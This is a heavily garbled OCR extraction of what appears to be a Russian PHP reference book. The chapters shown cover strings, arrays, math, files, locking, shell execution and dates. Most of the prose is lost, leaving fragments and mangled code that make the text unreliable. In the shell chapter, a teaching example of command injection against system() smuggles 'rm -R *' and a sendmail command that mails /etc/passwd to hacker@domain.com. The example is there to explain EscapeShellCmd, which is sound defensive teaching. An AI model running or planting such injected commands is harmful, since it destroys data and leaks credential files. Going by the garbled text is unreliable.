! $st=WordWrap($OurText, 60-strlen (Spref ix) , "\n") ;
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// , ,
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return $st;
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. $aiiowabie_tags ,
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$st="
<> </>
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< href=http: //www.dklab. ></>";
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string str repeat (string $st,
string $number)
"" $st $number

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12.
215
string strtr(string $str, string $from, string $to)
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.
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, $UserData =, &
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string UrlDecode(string $st)
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.
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.
string RawUrlDecode(string $st)
UrlDecodeQ, + .
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string HtmlSpecialChars(string $str)
( [],
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216
IV.
,
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:
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: <?=$v[ 'name' ] ?><br>
: <?=HtmlSpecialChars ($v[ 'text' ] ) ?>
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$st . : ", ', \

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: ', " \.
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,
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string strtolower (string $str)
. .
12.
217
, (
, , , , . .) , ,
. , , , "" , strtr ( ) :
$st=strtr($st,
"ABEKMHOPCTXABCDEFGHIKLMNOPQRSTUVWXYZ",
"!ghiklmnopqrstuvwxyz");
,
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. .
,
"" , ""
.
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,
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/ ;
LC_NUMERIC , ;
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$iocaie. , , , ,
218
IV.
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"", , ,
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-,
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, ,
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.
string convert_cyr_string(string $str, char $from, char $to);
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:
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12.
219
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d -866
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$ format , %.
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220
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:
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$money = $moneyl + $money2;
// echo $money "123.1"...
$formatted = sprintf ("%01.2f", $money);
// echo $formatted "123.10"!
, :
$isodate=sprintf("%04d-%02d-%02d",$year,$month,$day);
,
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12.
221
void printf(string $format [, mixed args, ...])
, sprintf ( ) , , .
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string $dec_point=".", string $thousands_sep=",");

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222
IV.
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$bindata = pack("nvc*", 0x1234, 0x5678, 65, 66);
$bindata
6 : 0x12, 0x34, 0x78, 0x56, 0x41, 0x42 (
).
array unpack(string $format, string $data)
unpack , pack () --
$data, $format.
, .
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12.
223
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: charsi,
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pack unpack',)? ,
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224
IV.
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32 32- $str. To
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DES
Unix ( ,
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: -
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(, Apache).
12.
225
- , $sait
(, )
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$st="This is the test";
echo crypt($st)."<br>";
// , , 7N8JKLKbBWEhg
echo crypt($st)."<br>";
// , , Jsk746pawBOA2
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, , "". . ,
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13

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a s o r t o , , ,
( ) (
) . , . . =>
"" , , "". :
$A=array("a"=>"Zero","b"=>"Weapon","c"=>"Alpha", "d"=>"Processor");
asort($A);
foreach($A as $k=>$v) echo "$k=>$v
";
// "c=>Alpha
b=>Weapon
d=>Processor
a=>Zero"
// , =>
arsort , : , .
13.
227

(ksort()/krsort())
k s o r t o a s o r t o , , , ( ). :
$A=array("d"=>"Zero", "c"=>"Weapon", "b"=>"Alpha", "a"=>"Processor");
ksort($A);
for(Reset($A); list($k,$v)=each($A);) echo "$k=>$v
// "a=>Processor
b=>Alpha
c=>Weapon
";
d=>Zero"

krsort ( ) , ksort ( ) .

uksortQ
- , . , $Fiies
. ,
,
. u k s o r t o , , uksort ( ) .
: 13.1.
// $fl $f2 :
// -1, $fl<$f2,
//
0, $fl==$f2
//
1, $fl>$f2
// < >
function FCmp($fl,$f2)
{
//
if(is_dir($fl) && !is_dir($f2)) return -1;
//
if(!is_dir($fl) && is_dir($f2)) return 1;
//
if($fl<$f2) return -1; elseif($fl>$f2) return 1; else return 0;
228
IV.
// $Files
// . .
uksort($Files,"FCmp");
// " "
, uksort ( ) , . ., , "" , "".

uasortO
uasort uksort , ,
() "" , .
=>.
array_reverce()
array_reverse ( ) ,
, .
, , . ,
, arsort ( ) ,
, :
$A=array("a"=>"Zero","b"=>"Weapon","c"=>"Alpha","d"=>"Processor");
asort ($A) ;
$A=array_reverse($A);
, , - a r s o r t ( ) .
sort()/rsort()

(, , 0 ). sort
(, ) , a rsort ( ) --
. :
$A=array("One", "Two", "Three", "Four");
sort ($A) ;
for($i=0; $i<count($A); $i++) echo "$i:$A[$i]
// "0:Four
l:Two
2:Three
3:0ne"
";
13.
229
.
0,1,2
. , => , ,
-, , .

usort()
"" u a s o r t o sort .
sort ( ) , . u a s o r t o - - ,
,
. :
function FCmp($a,$b) { return strcmp($a,$b); }
$A=array("One","Two","Three","Four");
usort. ($A) ;
for($i=0; $i<count($A); $i++) echo "$i:$A[$i]
// "0:Four
1:One
2:Three
3:Two"
strcmp , ,
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shuffleO
s h u f f i e o "" , , , . , , -, , -, . :
$=(10,20,30,40,50) ;
snuff1($);
foreach($A as $v) echo "$v
";
10, 20, 30, 40 50 .
, ,
. , shuffle ( ) , -
IV.
230
srand(). (.
mt_srand(. , (
srand ( ) ) , .

"" . SArr ,
. ,
, :
list array_keys(array $Arr [,mixed $SearchVal])
, $.
$searchvai, ,
$searchvai.
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list array_values(array $Arr)
array values $. , ,
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bool in_array(mixed Sval, array $Arr)
true, $vai
$. , , :
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.
array array_count_values(list $List)
, $List,
. -
13.
231
, array_count_vaiues $List. :
$List=array(l, "hello", I, "world", "hello");
array_count_values($array) ;
// array(l=>2, "hello"=>2, "world"=>l)

s t r t r o ,
, s t r _ r e p i a c e ( ) , .
, s t r t r o ,
str_replace ( ) .
string strtr(string $st, array $Substitutes)
( , ,
strtr !) $st :
$substitutes
. ,
, str_repiace() :
$Subs=array(
"<name>" => "Larry",
"<time>" => date("d.m.Y")
);
$st="npMBeT, <name>! <time>";
echo strtr($st,$Subs);
"" H t m l S p e c i a l C h a r s () :
$Trans=array__flip(get_html__translation_table () ) ;
$st=strtr($st, $Trans);
,
HTML-,
. g e t _ h t m l _ t r a n s i a t i o n _ t a b l e
. , H t m l S p e c i a l C h a r s ( ) .
strtr ()
.
IV.
232

array array_merge(array $A1, array $A2, ...)
array_merge , + . , , , . ,
=> , . :
.
, array_merge ( ) + . , :
$Ll=array(10,20,30) ;
$L2=array(100,200,300) ;
$L=array_merge($L1,$L2);
// $L===array(10,20,30,100,200, 300) ;
, , .

array array^slice(array $Arr, int $offset [, int Slen])
,
=> () $ o f f s e t $1
( , ).
$offset $1 ,
s u b s t r t ) . ,
( ),
. . :
$input = array ("a", "b", "", "d", "e");
$output = array_slice ($input, 2);
// "", "d", "e"
$output = array_slice ($input, 2, -1);
// "c", "d"
$output = array_slice ($input, -2, 1);
// "d"
$output = array_slice ($input, 0, 3);
// "a", "b", "c"
/
, . , [ ] ( ) -
233
13.
, ,
unset ( ) .
4 , .
int array_push (list &$Arr, mixed $varl [, mixed $var2, ...] )
$ $vari, $var2 . .
,
[ ]. , ,
:
array_push ($Arr, 1000) ;
$[]=100;
// ...
// ,
, arrayjpush ( ) ,
, .
.
mixed arrayjpop(list &$Arr)
a r r a y _ p o p ( ) , arrayjpush , "" ( ) , $.
, . $
, .
int array_unshift (list &$Arr, mixed $varl [, mixed $var2, ...] )
arrayjpush , , . $vari,
$var2 . . , . . ""
. , , , 0; ,
, ( ). .
:
SA=array(10,"a"=>20,30);
array_unshift($A,"!","?");
// $===(0=>"!", !=>"?", 2=>10, =>20, 3=>30)
mixed array_shift(list &$Arr)
$ .
_ ( ) , , , ""
234
IV.
:

array array_unique(array $Arr)
array_unique ( ) , $ .
=>:
$input=array("" => "green", "red", "b" => "green", "blue", "red");
$result=array_unique($input);
// $result===array("a"=>"green", "red", "blue");
array array_splice(array &$Arr, int $offset [, int Slen] [, int. SRepl])
, a r r a y _ s i i c e ( ) , $, $of f set $ien, , ,

. ,
, $Repi ( ,
$Repi ). $offset $ien , substro , ,
. substr ( ) , .
:
$input=array("red", "green", "blue", "yellow");
array_splice($input,2);
// $input===array("red", "green")
array_splice($input, 1,-1) ;
// $input===array("red", "yellow")
array_splice($input, -1, 1, array("black", "maroon"));
// $input===array("red", "green", "blue", "black", "maroon")
array__splice ($input, 1, count ($ input), "orange");
// $input===array("red", "orange")
, $Repi
, , .

array compact (mixed $vnl [, mixed $vn2, ...] )
compact ( ) , 4,
(
), $vni, $vn2 . . -
13.
235
, $vnN,
. :
$a="Test string";
$b="Some text";
$A=compact("a","b");
// $A===array("a"=>"Test string", "b"=>"Some text")
mixed? ,
, .
, , .
, ,
, . . , ,
:
$a="Test";
$b="Text";
$="";
$d="DDD";
$Lst=array("b",array("","d"));
$A=compact("a",$Lst);
// $A===array("a"=>"Test", "b"=>"Text", "c"=>"CCC", "d"=>"DDD")
void extract(array $Arr [, int $type] [, string $prefix])
, compact .
, $
=> .
Stype , ,
, $.
, . 13.1
13.1. extract
EXTR OVERWRITE
( )
EXTR_SKIP
He ,
EXTR_PREFIX_SAME
,
$pref ix. ,

EXTR__PREFIX_ALL
$prefix
IV.
236
EXTRJDVERWRITE, . . . :
//
extract($HTTP_ENV_VARS);
// , . _
extract($HTTP_ENV_VARS, EXTR_PREFIX_ALL, "E_");
echo $E COMSPEC; // COMSPEC
$pref ix ,
EXTR_PREFIX_SAME EXTR_PREFIX_ALL.
, extract compact , ,
. ,
,
,
:
<table width=100%>
<?foreach($Book as $Entry) { extract ($Entry) ?>
<tr>
<td>^: <?=$name?x/td> <! $Entry [ 'name' ] >
<td>Aflpec: <?=$url?x/td> <! $Entry [ 'url ' ]
</tr>
<tr><td colspan=3x?=$text?x/tdx/tr>
<trxtd colspan=3xhr></tdx/tr>
, $Entry
. , ,
(, $Book $Entry),
, .
-
list range (int Slow, int $high)
. , $iow $high . ,
13.
237
foreach!
<table>
<?foreach(range(1,100) as Si) {?>
<tr>
<tdx?=$i?x/td>
<td>3To
<?=$i?x/td>
</tr>
<?} ?>
</table>
( , ) , :
<table>
<?for($i=l; $i<=100; $i++) {?>
<tr>
<tdx?=$i?x/td>
<td>3TO <?=$i?x/td>
</tr>
<?} ?>
</table>
14
, . ,
,
.

4 ,
.
. 14.1.
14.1. .
PI
3, 1 41 59265358979323846
2,7182818284590452354
LOG2E
1 ,4426950408889634074
Log2(e)
LOG10E
0,434294481 903251 82765
Lg(e)
LN2
0,6931 471 8055994530942
Ln(2)
M_LN10
2,30258509299404568402
Ln(10)
PI 2
1 ,5707963267948966 1 923
/2
_1_4
0,7853981 6339744830962
/4
1 PI
0,31830988618379067154
1/
2 PI
0,63661977236758134308
2/71
SQRTPI
1 ,77245385090551 602729
sqrtU)
2 SQRTPI
1,12837916709551257390
2/sqrt(Tt)
SQRT2
1 ,41 421 356237309504880
sqrt(2)
14.
239
14, 1 ()
SQRT3
1 ,73205080756887729352
sqrt(3)
M_SQRT1_2
0,70710678118654752440
1/sqrt(2)
LNPI
1 , 1 44729885849400 1 74 1 4
Ln(7i)
EULER
0,57721566490153286061
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mixed abs(mixed $number)
. $number float int,

.
double round(double $val)
$val , :
$foo = round(3.4); // $foo == 3.0
$foo = round (3.5); /,/ $foo ==4.0
Sfoo = round(3.6); // $foo == 4.0
int ceil(float $number)
, $number. , $number .
int floor(float $number)
, $number.

.
, Web-
.
rand ( ) srand ( ) , , , . -
240
IV.
, rand ()
.
int mt_rand(int $min=0, int $max=RAND_MAX)
, , . , ,
http://www.math.keio.ac.jp/~matumoto/emt.html,
http://www.scp.syr.edu/~marc/hawk/twister.html. 0 RAND_MAX ( ,
mt_getrandmax()), $min
$.
rr.t_srand ( ) .

mt_rand ( ) .
( , , f gets () , , ,
). :
for($i=0; mt_rand(0,$i)<l; $i++)
$s=fgets($OurFile,10000);
echo " : $s";
:
100%, 50%
( ), 33%, . . , ,
, , 33%, , , 66%. 50%, 50% 66% 33%, . . . ,
. ,
, .
,
- mt_rand ( ) ,
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.
14.
241
, rand ( )
, .
void mt_srand(int $seed)
.
, , mt_rand ( ) , ,
(, , ):
.
m t _ s r a n d ( ) : $seed, . :
mt_srand(time() +(double)microtime * 1000000) ;
$randval = m t _ r a n d ( ) ;
( ), .

( ), , .
int mt_getrandmax()
, mt_rand ( ) , RAND_MAX.

string base_convert(string $number, int $frombase, int $tobase)
$number ( $frombase) $tobase.
$frombase $tobase 2 36 . $number , 11, 12, . . z, 36. , i i i i i i i i (8 ), ,
FF :
echo base convert("FF",16,2);
IV.
242
int bindec(string $binary_string)
, $binary_string, .
string decbin(int $number)
,
$number. , ,
2 147 483 647, 31 .

. , "bin" "oct" "hex".

mixed miii (mixed $argl [int $arg2, ..., int Sargn])
, .
:
. (),
. ( )
, , .
: ,
, ,
, . , .
mixed max(mixed $argl [int $arg2, ..., int $argn])
min ( ) , .

float sqrt(float $arg)
. ,
, !
: ,
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float
log(float'$arg)
. , , sqrt ( ) , .
float e x p ( f l o a t $arg)
(2,718281828) $arg.
14.
243
float pow(float $base, float $exp)
Sbase $.
. , , ...
float acos(float $arg)
.
float asin(float $arg)
.
float atari (float $arg)
.
float atan2(float $y, float $x)
$/$, , ($, $). ,

-< . :
$alpha=atan2(1,1);
// $alpha==pi/4
$alpha=atan2(-!,-!); // $alpha==-3*pi/4
float sin(float arg)
. .
float cos(float $arg)
.
float tan(float arg)
, .
double p i ( )
. 4 ( 3):
echo pi *10;
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15

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, \ \
" " \, ,
, Unix. , , , ,

"" \. Windows MacOS (,
\\, \\, - ).
: \
\ \ .
, \ \ \.
, ,
/,
, . , ,
Unix, , Windows .
,
, .
. ,
fopen ( )
,
. , ,
, ,
Windows MacOS, Unix.
fopen .
/,
, .
- (, GIF) ,
, . ,
Windows \ \
\, , , . .

, .
, ,
( ). ( , ),
"" , .
246
/V.
( ,
).
int fopen(string $filename, string $mode, bool $use_include_path=false)
$ filename $mode . "", , ,

fopen false. , ,
, 0
, , , fopen ( ) ( , ,
). $use_inciude_path ,
, ,
, include require.
.
$mode :
CD r . , . , . . ;
+ . . ,
, f a l s e . , - ,
, "" ,
. ;
w .
, . , , "";
w+ +, ,
. ,
. , ;
, . , - .
, ;
+ , , . , ,
. , -
(, ), , ;
15.
247
$mode. ,
, w, a, r+, w+ + t. ( ),
/. t,
, . .
.
t ( ,
), , ,
.
, .
- , : . , , fgets .
: 15.1. test.php:
//
// ,
function MakeHex($st)
{ for($i=0; $i<strlen($st) ; $i++) $Hex[]=sprintf ("%2X", ord($st
return joint" ",$Hex);
}
//
$f=fopen ("test.php", "r") ;
//
echo MakeHex (fgets ($f, 100) ) , "<br>\n";

$f=f open ("test.php", "rt") ; //
echo MakeHex (fgets ($f,100) ) , "<br>\n";
test.php < ?.
. ,
, . . .
Unix. , echo:
3F
3F
248
IV.
,
, \ ( Ox3F
< ?). , Windows, :
3F OD
3F
, ! .
, h t t p : / /
f t p : / / , .
HTTP- ,
: Host GET.
, f gets ( ) .
FTP-, , , . ,
FTP- (,
).
, .
: \ ,
DOS Windows. . ,
/ (, Windows).
- ,
, :
$fp = fopen ( " : \ \ w i n d o w s \ \ h o s t s " ,
""};
:
. !
:
//
$f = fopen("/home/user/file.txt", "r") or die("!");
// HTTP-
$f = fopen("http://www.php.net/", "r") or die("!");
// FTP-
$f = fopen("ftp://user:password@example.com/", "w") or die("!");
15.
249
ordie()
.
or die '. . , or
( , =), . ,
:
($f=fopen("/home/user/file.txt", "r")) or die("!");
, , or " "
( ). :
. : ,
fopen false, , die "
" or.
, or ,
| |, , =. ,
$f=fopen("/home/user/file.txt", "r") || die("!");

$ f = ( f o p e n ( " / h o m e / u s e r / f i l e . t x t " , "r") I I d i e ( " ! " ) ) ;
, , .

,
.
, . .
int t m p f i l e ( )
(
"") . , .
" " ,
- : . ?
,
"" , .
IV.
250
, , .
, , .

. ,
. , (
) .
int fclose(int $fp)
, f open ( ) ( ( )
f s o c k o p e n o , ). false,
(, -
). "".
, FTP- HTTP-,
"" . , , , .
FTP-
, . , , ,
, .

(, ,
, . . ) , -,
.
. , ,
, , .
,
.
.
, (
) , , , -
15.
25?
. ,
, .
/.
/
string fread(int $f, int $numbytes)
$f $numbytes .
( ,
). ,
$numbytes , (, ), , .
, .
$numbytes (, ). ,
. , f r e a d ( )
(
). , ,
.
int fwrite(int $f, string $st)
$f $st.
f read , " ".
,
(, ()), f read () f write ( ) .
( t
) \
, .
/
string fgets(int $f, int $ length)
, \.
.
$iength-i ,
$ length-1 . ,
"" . ( -
252
IV.
) File , . , f gets ( t read )

Windows \ \
\, .
int fputs (int $f,
string $st)
fwrite ( ) .
,
, . ... , .
CSV-
Excel Microsoft Office ,
, Excel.
.
list fgetcsv(int $f, int $length, char $delim=',')
, $f, $deiim. $deiim , .

false, . $iength
, f gets ( ) .
, .
f getcsv ( ) f gets (} /explode ( ) ,
, , .
:
$f=fopen("file.csv","r") or die("!");
for($i=0; $data=fgetcsv($f, 1000, ";"); $i++) {
$num = count($data);
if($num==l && $data[0]==="") continue;
echo "<> $i ($num ):</h3>";
for($c=0; $c<$num; $c++)
print "[$c]: $data[$c]<br>";
}
fclose($f);
15.
253

int f e o f ( i n t $ f )
true, (
). :
$f=f open ("myfile.txt", "") ;
while ( Ifeof ($f) )
{ $st=fgets ($f ) ;
// $st
f close ($f) ;
, . .
. File
(. ) f read ( ) ,
, !
int fseek(int $f, in $offset, int $whence=SEEK_SET)
$ o f f s e t (
, ,
$whence). , , , $f , HTTP FTP.
$whence, , , $ o f f s e t . , , , , 1 2:
SEEK_SET ;
SEEK__CUR ;
SEEK_END .
$of f s e t
( SEEK__END ).
, 0, -1. . ,
-?
int f t e l K i n t $ f )
. , ,
.
254
IV.

, ( ) . ,
, .

bool file_exists(string $filename)
true, $ filename . ! ,
:
$fname="/etc/passwd" ;
if(!file_exists($fname)
$f=fopen($fname,"w");
else
$f=fopen($fname,"r");
, f i i e _ e x i s t s
w ,
"" "" . ,
. .
string filetype(string $fiiename)
, $ filename.
, false.
:
f i l e ;
dir ;
link ;
f i f o fifo-;
block - ;
char - ;
unknown .
filetype . , , .
15.
255
bool is_file(string $filename)
true, $fiiename .
bool is_dir(string $filename)
true, $fiiename .
bool is_link(string $filename)
true, $ f i l e n a m e .

8 , is_.
,
"" .
bool is readable(string $filenarae)
true, .
bool is_writeable(string $filename)
true, .
bool is executable(string Sfilename)
true, .

array stat(string $filename)
,
, . :
0 ;
1 inode;
2 ;
3 ("" ) ;
4 uid ;
; gid ;
6 ;
7 ;
, 1 1970 ;
9 ;
;
IV.
256
11 ;
12 .
, ,
Unix. Windows (,
, , ).
.
$ filename , , ,
( ). istat ( ) , , stat ( ) .

stat () ,
, - .
, ( ), - , , false.
int fileatime(string $filename)
(access) (, ). , 1 1970 . , false.

int filemtime(string $filename)
false
.
int filectime(string $filename)
.
int filesize(string $filename)
false, .
int touch(string $filename [, int $timestamp])
$fiiename
$timestamp ( , 1 1970 ). , . false.
, .
15.
257

. , "" - , ,
.
.
string basename (string $path)
$path. :
echo basename("/home/somebody/somefile.txt"); // "somefile.txt"
echo basename("/"); //
echo basename("/.");
// "."
echo basename("/./"); // "."

, basename ( )
.
. ,
basename , Windows.
string dirname(string $path)
, $path.
"" ,
:
echo dirname("/home/file.txt"); // "/home"
echo dirname("../file.txt"); // ".."

echo dirname("/file.txt");
// "/" Unix, "\" Windows
echo dirname("/");
//
echo dirname("file.txt");
// "."
, dirname "" ,
" . " , " ".
(, 3) "". , ""
, .
string tempnam(string $dir, string $prefix)

$dir $pref ix , , .
$prefix . -
258
IV.
, tempnamcvtmp", "temp") -
/tmp/temp3a6b243c. , , , $dir=".".
, tempnamo
:
$fname=tempnam () ;
$f=fopen($fname,"w");
//
, , - , tempnamo fopen () ""

- , tempnamo
. , -
. t m p f i l e o
.
string realpath(string $path)
. : $path
, . . . :
echo realpath("../t.php"); // , /home/test.php
echo realpath(".");
("
//
,
, getcwd ( ) . , "" , / . /. ,
, getcwd ( ) .
, $path, ,
false.
realpath (} "" ,
, . , .

. -
15.
259
( ), . , , .
bool copy(string Ssrc, string $dst)
$src $dst. ,
$dst , . true, , f a l s e .
bool rename(string Soldname, string $newname)
( , )
$oidname $newname. $newname ,
, false. To
. , true.
, ( Unix
Windows). rename () HTTP (
) /tmp - .
bool unlink(string $filename)
$filename. f a l s e , true.
- , ""
0. , Unix-.
list File (string $filename)
$f ilename -,
. ,
f open ( ) .
, ( \), ,
, .
array get_meta_tags (string $filename, int $use_include_path=false) ;
<meta> ,
</head>. <meta> :
<meta ="" content=" ">
260
IV.
=> , .
( ,
f open
). $use_inciude_path ,
,
, include require.

bool ftruncate(int $f, int $newsize)
$f $newsize. ,
, . , :
ftruncate ( $ f , 0 ) ; //
void f f l u s h ( i n t $f)
, $f. ?
,
: , fputs ($f, " ! " )
( 8). ,
, ,
. , . ,
f f l u s h .
int set_file_buffer(int $f,
int $size)
, , $f. :
set_file_buffer($f,0);
,
, ,
.
/ . .
f flush ().
15.
261

/ . , "" "-". , -,
"", . , ,
, . ?
f l o c k , " " . ,
,
. .
,
, . ,
, . , , ,
,
, .
. , , , , , "".
, " " ( ) : , .
.
,
, flock .
bool flock(int $f, int $operation [, int& $wouldblock))
$f
, . Separation
:
LOCK_SH ( i) ;
LOCK EX ( 2) ;
LOCKJJN ( ) ;
LOCK^NB ( 4) , , "" f l o c k , .
262
IV.
, ,
, - $wouidbiock
true.
, , false, true.
, flock ()
( Windows), , Windows
. , , , , . ,
.

, (,
man FreeBSD), , . ,
.
, . "?

-. , (,
) , .
.
, . f lock ( $ f , LOCK_EX> , , ,
f i o c k ( $ f , LOCKJJN)
.
? , ,
"" flock ( ) , . .
, - . ,
, , , , -
( flock ( ) ) , , ,
. ,
, . .
15.
263
, ,
-, ( 15.2).
1 15.2.
/ /
$f=fopen ($f , "a+") or die ("He !");

f lock ($f, LOCK EX) ; // ,
/ / ,
//'
f flush ($f) ;.
//
flock (Sf, LOCK_UN) ; // ,

f close ($f) ;
//
, w ( , ), "" +.
. : . ( )! ,
,
w -- +
f truncate , . :
Sf=fopen ($f , "a+") or dieC'He !");
flock ($f,LOCK_EX) ;
// ,
f truncate ($, 0) ;
//
fflusho , ?
: , . . ""
264
IV.
, . , , , .
( 7)
,
. , + -
w. , ,
fflush ( ) .

. ,
- ,
? -
, -? , ,
"" . , . ?
.
. , , , ? f l o c k , ,
. - ,
. , - , , , , , , .
-,
, , , ,
, .
"" , , ? . , ,
, , - .
( ) . , , : , . -
" " , . . :
, ?

-. , -
, ? ,
, . ,
flock ( $ f , LOCK_EX) , . .
15.
265
, , ,
, . (- ), . , ,
, , "" . " " ,
"" , "" , .
15.3 ,
.
I 15.3.
//
// . . .
$f=fopen ($f , "r"! or die ("He !");

flock ($f, LOCK_SH) ; // , -
/ / ,
/ / ,
flock ($f, LOCKJJN) ; // ,

fclose($f) ;
/ /
^
,
, . ,
. , .
""
f l o c k ( ) ,
LOCK_NB , ,
266
IV.
" ",
. , ,
, ,
. , , - , , ,
, ,
, . LOCK_NB:
$f=fopen("file.txt", "a+") ;
while(!flock($f,LOCK_EX+LOCK_NB)) {
echo " <br>";
sleep(1); // 1
}
//
, flock ( )
, , ! , -
while, ,
.

, . Web-, , , , , .
, , , , . , , ,
-, .
, , "".
,
.
I 15.4.
$f=fopen("counter.dat","a+");
flock($f,LOCK_EX);
// ,
267
15.
$count=fread($f,100}; //
//
@$count=$count+l;
//
ftruncate($f,0);
//
fwrite($f,$count);
//
fflush ($f) ;
//
flock($f,LOCK_UN);
//
fclose($f);
//
echo $count;
,
1 ( = 0)

, , ,
.
16

,
.
,
.
.
( , ) . . ,
, ,
. ,
.

.
bool mkdir(string $name, int $perms)
$name $perms.
, . $perms 0770 ( , , ). :
mkdir("my_directory",0770); //
rakdir{"/data"); // data
true, false. , , .
, .
, , , 0 7 7 0 " , ". , ? , -
16.
269
? . "" , . ,
Unix.
bool rmdir(string $name)
$name. true, false. ,

.
bool chdir(string $path)
. , false. $path
, . :
chdir("/tmp/data'") ;
//
chdir("./somathing"); //
chdir("something");
//
chdir("..");
//
chdir("-/data");
// ///data ( Unix)
string getcwdO
, "" (/).
( Unix - ,
),
"" false.
"
.
, , ( -
).

, ,
. ,
.
, : , , . , , .
int opendiristring $pathi
$path
. -
270
IV.
readdiro
. f a l s e , .
string readdir(int $handle)
$handie .

, , ,
. : . ( ) . .
( ).
, 16.1
c o n t i n u e .
(^
3 Shandle , ,
. " ",
"" ... - . 4 : $handle readdir ( ) ,
.
, , . :
$d=opendir("somewhere");
while(Se=readdir($d)) ( . . . )

"", , , .
:
$d=opendir("somewhere") ;
while ( ($e=readdir($d)) !==false) ( . . . )
!== ,
false.
void closedir(int $handle)
$handie. He . , , . .
, - .
void rewinddir(int $handle)
"" .
readdir , .
16.
271
:
, ( ) ,
.
i 16.1.
// ,
// . $level
// .
function PrintTree ($level=l)
{
//
$d=@opendir (".");
if(!$d) return;
while ( ($e=readdir ($d) ) !==false) {
// . . .
if ($e=' . ' I l$e='. . ') continue;
//
if ( ! @is_dir ($e) ) continue;
// ,
for($i=0; $i<$ level; $i++) echo " ";
//
echo "$e\n";
//
if ( Ichdir ($e) ) continue;
PrintTree ($level+l) ;
//
chdir (". . ") ;
// ,
//
flush () ;
}
closedir ($d) ;
//
echo "<pre>";
272
IV.
echo " A n " ;

//
chdir ("/") ;
PrintTree ( ) ;
echo "</pre>";
,
. , , . . .
.
, , ,
. (,
) \/ .
17
& ^ *^ Ji
--;
Lfl _ ^
. . ,, -wsjj,.
<
-, .
,
.
-
Unix,
, .

.
. , -
f open ( } ,
. :
- (, mail
). ,
(, E-mail
), .
, , , , , . (
), ,
( ). ,
- - ,
, .
.
.
// /bin/Is ( )
// . Unix
// , -1 .
274
IV.
$fp=popen("/bin/Is - 1 " , " " ) ;

// $fp
// . .
forS$Lines=array(); !eof($fp);)
$Lines[]=fgets($fp,1000);
// He .
pclose($fp);
.
, . , ,
, ( system , ). : , , fopen ( ) .
, . ? ,
, : - -
, -
,
. , : . , -.
.
(,
Unix, - ,
, - ) $fp. , ( ),
f gets ( ) , f read ( ) . .
is (
), f gets ( ) .
, " ", $fp, , .
, " " ,
" " , .
,
.
17.
275
, , , .

( , ) ? Unix (
- )
.
, . Unix .
,
.
(, ) "",
, " . ,
, ( , f open , f read
. .)
( ), . .
string readlink(string
$linkname)
,
$iinkname. , ,
, , , .
"".
bool symlink(string $target, string $link)
$iink
( ), $target. "" false.
array Istat(string $filename)
stat ( ) , ,
$ f i i e n a m e , ,
( , , stat ( ) ) .
int linkinf(string $linkname)
"" ,
istat ( ) , . ,
, , $iinkname. stat , . ., -, "".
. 699
276
IV.
,
, .
, u n l i n k rmdir ( } .

. ,
. , , , , , .
"" , , .
: , ,
, . .
"" .
, , . .
10.
, . , (,
unlink ), ,
, . , .
(
) link . s y m i i n k o , , , , . ,
link , rename ,
, .
, Unix, Windows.
Microsoft?..
18
.
"" ,
,
- , , ,
, Perl. ,
,
.
s t r i n g s y s t e m f s t r i n g Scoramand [ , i n t & return_var])
, , , ,
, . . . .
, , - , ,
? , ?
( , !),
. ,
, .
,
, . , system ,
( ) , - , rm -R ~ / , " "
.
278
IV.
,
. , ( )
exec ( ) . , , , (, , - GIF-),
PassThruO.
s t r i n g e x e c ( s t r i n g $coinmand [ , l i s t s Sarray]
[ , i n t & $return v a r ] )
exec , s y s t e m o , , , , .

, $ ( ),
.
(
- exec ( ) ,
,
. ,
.
s y s t e m ) ) , -
$return_var . exec ( ) -.
string EscapeShellCmd(string $command)
, ,
(, )
system exec ? ,
: ,
, . .
EscapeShellCmd . :
system("cd ".EscapeShellCmd($to_directory));
$to_directory ,
Cookies. ,
, -
EscapeShellCmd ( i , :
system("cd $to_directory"); // !
$to_directory:
~; rm -R *; sendmail hacker@domain.com </etc/passwd
18.
279
,
/etc/passwd, Unix-
.
string PassThru(string $command [,int& $return_var])

, --.
, - " ",
( , ,
PassThru ).
:
Header("Content-type: image/jpeg");
PassThru("cat my_image.jpg");
Header , , , JPEG, cat "" .
19

,
.
( )
.
.

timestamp
int time ( )
, 1 1970
. Unix
: ,
( , , fiie_mtime ). , (
timestamp). To " 1 1970
, , .
^"
- , timestamp ()
1 1970 , . , .
string m i c r o t i m e f )
: " ", -- ,
time , , .
, gettimeofday ( ) , . . .
19.
281
microtime () . , -. , Unix , Windows ,

. , - ,
"", , .
int mktime ((int $hour]
[,int $minute]
[,int $second]
[,int $month]
[ , int $day] [,int $year] )
,
timestamp , .
, mktime .
, , ,
, . - ,
, . timestamp, .
, , . " ",
, timestamp. ( ),
:
echo date("M-d-Y", mktime (0, , , 1, 1, 1998) );
//
echo date("M-d-Y", mktime (0, 0, 0, 12, 32, 1997) ); //

echo date("M-d-Y", mktime (0, 0, 0, 13, 1, 1997) );
//
, .

string date(string $format [,int Stimestamp] )
. , $ format $timestamp (
). ,
:
, 1 1970 ;
z ;
Y , 4 ;
, 2 ;
F , , January;
282
IV.
m ;
, , , jan;
, 2 ( 0);
j ;
w , 0 , 1 , . .;
1 , , , Friday;
, , , Fri;
am
AM ;
h , 12- ;
, 24- ;
H i ;
s ;
s (nd, th . .).
, , " ". , , .
, .
date ( ) :
echo date("l dS of F Y h:i:s A");
echo date(" d.m.Y");
echo date("3TOT d.m.Y",filectime("myfile"));
, , F
( ), (.
setiocaleo)
.
int checkdate(int $month, int Sday, int $year)
, , :
, -- , , ,
. ,
checkdate ( ) :
1900 32 767 ;
1 12;
(
).
19.
283
, ,
HTML- . ,
, " ",
.
array getdate{int $timestamp)
, . :
seconds ;
minutes ;
hours ;
mday ;
wday , ;
;
year ;
yday ;
weekday , , Friday;
month , , January.
-,
date , .

,
. I
1700 .
,
.
Julian Day Count (JDC). ?
JDC. , , JDC
, (, - 4714-
).
? , "..".
. JDC
.
int GregorianToJD(int $month, int $day, int $year)
JDC. 4714 9999 .
284
IV.
string JDToGregorian(int $julianday)

JDC , //. , .
e x p l o d e ( ) :
$jd = GregorianToJD(10,ll,1970);
echo "$jd<br>\n";
$gregorian = JDToGregorian($jd);
echo "Sgregorian<br>\n";
$list=explode($gregorian,"/");
mixed JDDayOfWeek(int $julianday, int $mode)
JDDayOfweek () : ,
JDC-. , , . Smode ,
:
(0 , 1 , . .);
1 ;
2 .
, . .
.
20

, . . .

bool mail(string $to, string $subject, string $msg [,string $headers])
m a i i o $msg (
" ", . . , , ) $to.
, $to.
:
mail("rasmus@lerdorf.on.ca ca.ok@oklab.ru,
"IVh
jV-- ^ .î'--1- ",
"j ^â^^tiwL,
"Line IXnLine 2\nLine 3"

);
, , ( ,
Content-type . .) . . :
